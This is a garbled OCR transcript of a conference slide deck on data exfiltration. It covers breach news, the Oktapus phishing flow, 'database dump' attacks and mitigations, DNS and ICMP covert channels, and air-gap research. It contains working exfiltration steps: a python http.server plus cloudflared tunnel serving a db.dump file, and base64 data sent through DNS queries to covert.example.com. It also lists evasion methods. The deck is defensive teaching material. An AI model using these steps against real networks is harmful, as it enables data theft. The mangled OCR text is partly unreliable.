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Recent data leakages in news

How data on a billion people may have leaked from
a Chinese police dashboard

Record-breaking dump thank_

Laura Dobberstein Sun 10 Jul 2022 // 16:48 UTC

Details have emerged on how more than a billion personal records were
stolen in China and put up for sale on the dark web, and it all boils down to a
unprotected online dashboard that left the data open to anyone who could

find it.
ore than 2378 of cetais apparenty swien o VIAFTIOtE HOtels admits to third data breach in 4

up for sale on the underground Breach Forums years

ChinaDan for 10 Bitcoin ($215,000 at time of wr

included names, addresses, birthplaces, nation: Digital thieves made off with 20GB of internal documents and customer data

Elo Wed 6 Jul 2022 // 14:00 UTC

Nvidia confirms breach, proprietary data leaked online

Nvidia has confirmed some of the claims from a little-known ransomware gang that
allegedly broke into the network of the GPU giant and stole corporate data.

. By Shaun Nichols Published: 01 Mar 2022

Nvidia confirmed some of the claims made by a ransomware group that said it compromised the

UPDATED Crooks have reportedly made off with 20GB of data from Marriott
tels

The unnamed crew behind the theft told DataBreaches it broke into a server
at the Marriott hotel at Baltimore-Washington International Airport in Maryland
late last month.

chipmaker's corporate
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MITRE ATT&CK
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MITRE ATT&CK: Sandworm Team
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Roasting Oktapus: The phishing campaign going after

Okta identity credentials

Average victim journey during
Oktapus phishing attacks

Threat actor sends SMS Threat actor receives
L to potential employees compromised data
-
A

Victim accesses 4 Phishing site sends
phishing site L compromised data to Telegram
~

A

a

v

Victim enters corporate - n > Victim provides
2 credentials on the phishing site 2FA codes

®

Threat actor accesses
targeted organization’s digital
resources and information

\4

Threat actor steals information
from the victim organization and
its customers. Makes changes
to accounts. If possible,
escalate access.

Sensitive/private
data is exfiltrated

Roasting Oktapus: The phishing campaign going after Okta identity credentials (group-ib.com)
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Database dump: attack #1
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Database dump: mitigations #1
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Database dump: attack #2
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Database dump: mitigations #2
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Database dump: attack #3
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Database dump: attack #3
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Database dump: mitigations #3
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Offensive capabilities so far

Defense evasion

« Multilayered encryption
e Chunked transfer

« Scheduled transfer

Transmission
« Direct access with valid credentials or misconfiguration
« Trusted protocols (e.g., SSH, HTTPS, SMTP, etc.)
Cloud storages (e.g., OneDrive or Google Drive)
Cloud accounts (e.g., Azure, AWS, Google Cloud Platform, etc.)
Code repositories (e.g., GitHub, GitLab, Bitbucket, etc.)
C2 protocol (e.g., TCP, UDP, HTTPS, etc.)

& storebrand



A typical Norwegian company in 2022
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A typical Norwegian company in 2022
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Database dump: attack #4

$ python -m http.server
$ cloudflared tunnel --url http://localhost:8000

> https://mailto-welcome-cats-arnold.trycloudflare.com <
§

Cloud
environment

78
Cloud >4

provider

t[Al1d,

Allow only trusted sources

0.'..... ?’
5 N )
. Allow everything except forbidden _
i Internet " On premises
o o et https:/ mailto-welcome-cats-arnold.trycloudfiare.com/ db.dump environment
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Database dump: attack #5
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Attack #5 over DNS covert channel

BN C\WINDOWS\system32\cmd.exe domain

C:\>nslookup google.com 1.1.1.1
Server: one.one.one.one
iAddress: 1.1.1.1

Non-authoritative answer:
Name : google.com
IAddresses: 2a0@:1450:400 :801::200e

142.250.74.78

Client  question.covert.example.com
Server question.covert.example.com
Client Y2hlbmsgMQ==.covert.example.com
Server Y2hlbmsgMQ==.covert.example.com

Client ZGFOYTI=.covert.example.com

BN CA\WINDOWS\system32\cmd.exe

C:\>nslookup -g=TXT google.com 1.1.1.1
Server: one.one.one.one
Address: 1.1.1.1

Non-authoritative answer:
google.com text =

"apple-domain-verification=38afIBcvSuDV2PLX"
google.com text =

"docusign=05958488-4752-4ef2-95eb-aa7ba8a3bdee”
google.com text =

"docusign=1b@a6754-49b1-4db5-8540-d2c12664b289"
google.com text =

"webexdomainverification.8YX6G=6e6922db-e3e6-4a36-984e-a805c28087fa"
google.com text =

TXT

TXT "send me data"

TXT

TXT "bmV4dA==" <+—— Baseb64
TXT

https://www.icann.org/en/blogs/details/what-is-a-dns-covert-channel-8-12-2016-en & storebrand



Attack #5 over ICMP covert channel

Table 96: ICMPv4 Echo and Echo Reply Message Format

Field Name Size (bytes) | Description

Type 1 Type: |dentifies the ICMP message type. For Echo messages the value is 8; for Echo Reply messages the value is 0.

Code 1 Code: Not used for Echo and Echo Reply messages; set to 0.
Checksum 2 Checksum: 16-bit checksum field for the ICMP header, as described in the topic on the ICMP common message format.

Identifier 2 Identifier: An identification field that can be used to help in matching Echo and Echo Reply messages.
Sequence Number 2 Sequence Number: A sequence number to help in matching Echo and Echo Reply messages.
Optional Data Variable | Optional Data: Additional data to be sent along with the message (not specified.)
0 4 8 12 16 20 24 28 32
| 1 | 1 1
Type=0o0r8 Code =0 Checksum
Identifier Sequence Number

-|— Optional Data T

Figure 146: ICMPv4 Echo and Echo Reply Message Format

http://www.tcpipguide.com/free/t_ICMPv4EchoRequestandEchoReplyMessages-2.htm &9 storebrand



Database dump: attack #5
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Mitigations: AI/ML-powered Cyber Defense Systems
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SATAN: Air-Gap Exfiltration Attack via Radio

Y0
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Fig. 6. The payload "SECRET’ transmitted with the SATAn covert channel

https://arxiv.org/pdf/2207.07413.pdf @9 storebrand



GAIROSCOPE: Injecting Data from Air-Gapped Computers
to Nearby Gyroscopes
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Command and Control Exfiltration
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